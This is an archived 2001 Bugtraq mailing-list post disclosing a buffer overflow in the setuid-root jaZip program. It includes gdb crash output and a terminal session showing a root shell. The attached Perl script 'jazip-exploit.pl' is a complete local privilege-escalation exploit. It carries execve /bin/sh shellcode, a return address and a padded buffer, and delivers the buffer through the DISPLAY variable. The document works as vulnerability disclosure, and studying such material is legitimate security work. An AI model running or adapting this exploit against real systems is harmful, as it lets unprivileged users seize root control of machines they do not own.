5959188 2001-01-14 17:05 +0000 /38 rader/ teleh0r <teleh0r@DOGLOVER.COM> Sänt av: joel@lysator.liu.se Importerad: 2001-01-15 19:24 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: teleh0r@DOGLOVER.COM Mottagare: Bugtraq (import) <14803> Ärende: Vulnerability in jaZip. ------------------------------------------------------------ Dear, Bugtraq. jaZip is a program for managing an Iomega Zip or Jaz drive. It is often installed setuid root - and because of a buffer overflow it is possible for regular users to become root. Please excuse me if this was know. Please note that I can not guarantee that this information is correct. Tested rpm: ftp://ftp.linux.com/pub/mirrors/turbolinux/turbolinux/TurboLinux/ RPMS/jaZip-0.32-2.i386.rpm [root@localhost /root]# export DISPLAY=`perl -e '{print "A"x"2100"}'` [root@localhost /root]# gdb /usr/X11R6/bin/jazip GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. (gdb) r Starting program: /usr/X11R6/bin/jazip Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () ---- [teleh0r@localhost teleh0r]$ rpm -q jaZip jaZip-0.32-2 [teleh0r@localhost teleh0r]$ ./jazip-exploit.pl Address: 0xbffff7ac bash# Exploit attached. Sincerely yours, teleh0r -- To avoid criticism, do nothing, say nothing, be nothing. -- Elbert Hubbard (5959188) --------------------------------(Ombruten) Bilaga (application/x-perl) i text 5959189 5959189 2001-01-14 17:05 +0000 /54 rader/ teleh0r <teleh0r@DOGLOVER.COM> Bilagans filnamn: "jazip-exploit.pl" Importerad: 2001-01-15 19:24 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: teleh0r@DOGLOVER.COM Mottagare: Bugtraq (import) <14804> Bilaga (text/plain) till text 5959188 Ärende: Bilaga (jazip-exploit.pl) till: Vulnerability in jaZip. ------------------------------------------------------------ #!/usr/bin/perl ## jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000 ## teleh0r@doglover.com / http://teleh0r.cjb.net/ $shellcode = # Shellcode by: Taeho Oh "\xeb\x1f". #/* jmp 0x1f */ "\x5e". #/* popl %esi */ "\x89\x76\x08". #/* movl %esi,0x8(%esi) */ "\x31\xc0". #/* xorl %eax,%eax */ "\x88\x46\x07". #/* movb %eax,0x7(%esi) */ "\x89\x46\x0c". #/* movl %eax,0xc(%esi) */ "\xb0\x0b". #/* movb $0xb,%al */ "\x89\xf3". #/* movl %esi,%ebx */ "\x8d\x4e\x08". #/* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c". #/* leal 0xc(%esi),%edx */ "\xcd\x80". #/* int $0x80 */ "\x31\xdb". #/* xorl %ebx,%ebx */ "\x89\xd8". #/* movl %ebx,%eax */ "\x40". #/* inc %eax */ "\xcd\x80". #/* int $0x80 */ "\xe8\xdc\xff\xff\xff". #/* call -0x24 */ "/bin/sh"; #/* .string \"/bin/sh\" */ $ret = 0xbffff7ac; # May have to be modified. $len = 2100; $nop = 'A'; if (@ARGV == 1) { $offset = $ARGV[0]; } for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) { $buffer .= $nop; } $buffer .= $shellcode; print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n"); $new_ret = pack('l',($ret + $offset)); $buffer .= $nop x 3; # May have to be modified. for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } if ($ENV{'DISPLAY'}) { delete($ENV{'DISPLAY'}); } local($ENV{'DISPLAY'}) = $buffer; exec("/usr/X11R6/bin/jazip"); (5959189) ------------------------------------------